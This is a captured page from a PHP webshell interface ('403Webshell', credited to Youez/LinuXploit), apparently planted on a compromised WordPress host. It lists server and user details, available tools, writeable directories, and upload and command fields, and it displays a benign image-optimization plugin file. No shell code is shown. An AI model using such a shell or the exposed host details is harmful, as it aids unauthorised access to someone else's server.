403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/image-optimization/modules/connect-manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/image-optimization/modules/connect-manager/module.php
<?php

namespace ImageOptimization\Modules\ConnectManager;

use ImageOptimization;
use ImageOptimization\Classes\Module_Base;

use ImageOptimization\Modules\ConnectManager\{
	Classes\Connect_Runner,
	Components\Legacy_Connect,
	Components\Connect,
};

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Class Module
 */
class Module extends Module_Base {

	/**
	 * Connect instance
	 */
	public $connect_instance;

	/**
	 * Get module name.
	 * Retrieve the module name.
	 * @access public
	 * @return string Module name.
	 */
	public function get_name() {
		return 'connect-manager';
	}

	/**
	 * component_list
	 * @return string[]
	 */
	public static function component_list(): array {
		return [
			'Legacy_Connect',
			'Connect',
		];
	}

	public function __construct() {
		// Register components.
		$this->register_components();
		// Load Connect Manager.
		add_action( 'plugins_loaded', [ $this, 'load_connect_manager' ] );
	}

	/**
	 * Load Connect Manager
	 *
	 * Load the correct version of Connect Manager based on whether
	 * the user is already connected using legacy version or not.
	 *
	 * @return void
	 */
	public function load_connect_manager() {
		if ( ImageOptimization\Modules\Connect\Module::is_active() ) {
			$this->connect_instance = new Connect_Runner( new Connect() );
		} else {
			$this->connect_instance = new Connect_Runner( new Legacy_Connect() );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit